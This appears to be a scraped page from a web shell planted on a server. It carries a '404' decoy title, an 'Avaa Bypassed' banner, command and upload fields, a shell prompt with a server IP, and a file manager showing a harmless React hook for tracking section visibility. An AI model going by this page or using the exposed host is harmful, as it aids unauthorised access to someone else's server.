404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.145.51.35: ~ $
import { useContext, useEffect } from 'react';
import { useInView } from 'react-intersection-observer';
import InViewContext from '../contexts/InViewContext';

export default function useSectionInView(sectionName: string) {
    const { setInView } = useContext(InViewContext);
    const { ref: intersectionRef, inView: isInView } = useInView({
        rootMargin: '-40% 0px -40%',
    });

    useEffect(() => {
        if (isInView) {
            setInView((inView) => [...inView, sectionName]);
        } else {
            setInView((inView) => inView.filter((v) => v !== sectionName));
        }
    }, [isInView]);

    return intersectionRef;
}

Filemanager

Name Type Size Permission Actions
useHasScrolled.ts File 540 B 0644
useSectionInView.ts File 671 B 0644